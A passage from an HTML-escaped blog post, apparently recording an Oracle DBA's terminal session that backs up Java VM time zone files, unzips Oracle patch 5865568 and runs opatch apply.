0);"&gt;[oracle@anakin java_backup]$ mv $ORACLE_HOME/javavm/lib/zi/Pacific/Yap .&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin java_backup]$ cd ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ unzip /download/p5865568_10202_GENERIC.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Archive:  /download/p5865568_10202_GENERIC.zip&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/Africa/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Africa/Cairo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Africa/Tunis&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/America/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/America/Indiana/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Indianapolis&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Knox&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Marengo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Petersburg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Vevay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Indiana/Vincennes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/America/North_Dakota/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/North_Dakota/New_Salem&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/North_Dakota/Center&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/America/Atikokan&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Blanc-Sablon&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/America/Bogota&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Cambridge_Bay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Campo_Grande&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Cuiaba&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Dawson&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Edmonton&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Glace_Bay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Goose_Bay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Guatemala&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Halifax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Havana&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Inuvik&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Iqaluit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Managua&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Miquelon&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Moncton&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Montevideo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Montreal&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Nipigon&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Pangnirtung&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Port-au-Prince&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Rainy_River&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Rankin_Inlet&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Santiago&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Sao_Paulo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Scoresbysund&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/St_Johns&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Tegucigalpa&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Thule&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Thunder_Bay&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Toronto&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Vancouver&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Whitehorse&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Winnipeg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Yellowknife&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Adak&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Anchorage&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Araguaina&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/America/Argentina/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Buenos_Aires&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Catamarca&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Cordoba&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Jujuy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/La_Rioja&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Mendoza&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Rio_Gallegos&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/San_Juan&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Tucuman&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Argentina/Ushuaia&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/America/Kentucky/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Kentucky/Louisville&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Kentucky/Monticello&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Asuncion&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Bahia&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Boise&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Chicago&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Denver&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Detroit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Fortaleza&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Juneau&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Lima&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Los_Angeles&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Maceio&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Menominee&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/New_York&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Nome&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Noronha&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Phoenix&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Recife&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Regina&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/America/Yakutat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/Antarctica/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Antarctica/Palmer&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Antarctica/Rothera&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/Asia/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Amman&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Baku&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Choibalsan&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/Asia/Colombo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Damascus&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Gaza&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Hovd&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh87&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh88&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Riyadh89&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Samarkand&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Tashkent&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Tbilisi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Tehran&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Ulaanbaatar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Almaty&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Aqtau&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Aqtobe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Bishkek&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Jerusalem&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/Asia/Karachi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/Asia/Kuala_Lumpur&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Kuching&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Oral&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Qyzylorda&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Asia/Tokyo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/Asia/Singapore&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/Atlantic/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Atlantic/Bermuda&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/Australia/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Australia/Perth&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Australia/Adelaide&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Australia/Broken_Hill&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Australia/Currie&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Australia/Hobart&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Australia/Lord_Howe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Australia/Melbourne&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Australia/Sydney&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/CST6CDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/EST&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/EST5EDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/HST&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/MST&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/MST7MDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/PST8PDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/ZoneInfoMappings&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/Europe/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Europe/Volgograd&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Europe/Warsaw&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Europe/Berlin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Europe/Lisbon&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Europe/Vienna&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Europe/Vilnius&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/Pacific/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Pacific/Easter&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Pacific/Auckland&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Pacific/Chatham&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/Pacific/Midway&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/Pacific/Tongatapu&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/SystemV/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/AST4&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/AST4ADT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/CST6&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/CST6CDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/SystemV/EST5&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/EST5EDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/HST10&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/SystemV/MST7&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/MST7MDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/PST8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/PST8PDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/SystemV/YST9&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/lib/zi/SystemV/YST9YDT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/lib/zi/Indian/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; extracting: 5865568/files/javavm/lib/zi/Indian/Chagos&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/files/javavm/admin/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/admin/fixTZa.sql&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/files/javavm/admin/fixTZb.sql&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/etc/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/etc/config/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/etc/config/inventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/etc/config/actions&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   creating: 5865568/etc/xml/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/etc/xml/GenericActions.xml&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/etc/xml/ShiphomeDirectoryStructure.xml&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  inflating: 5865568/README.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin patches]$ cd 5865568&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ opatch apply&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;bash: opatch: command not found&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin 5865568]$ /oracle/10g/OPatch/opatch apply&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Invoking OPatch 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle interim Patch Installer version 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 2005, Oracle Corporation.  All rights reserved..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Home       : /oracle/10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Central Inventory : /oracle/oraInventory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;   from           : /oracle/10g/oraInst.loc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OPatch version    : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI version       : 10.2.0.2.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OUI location      : 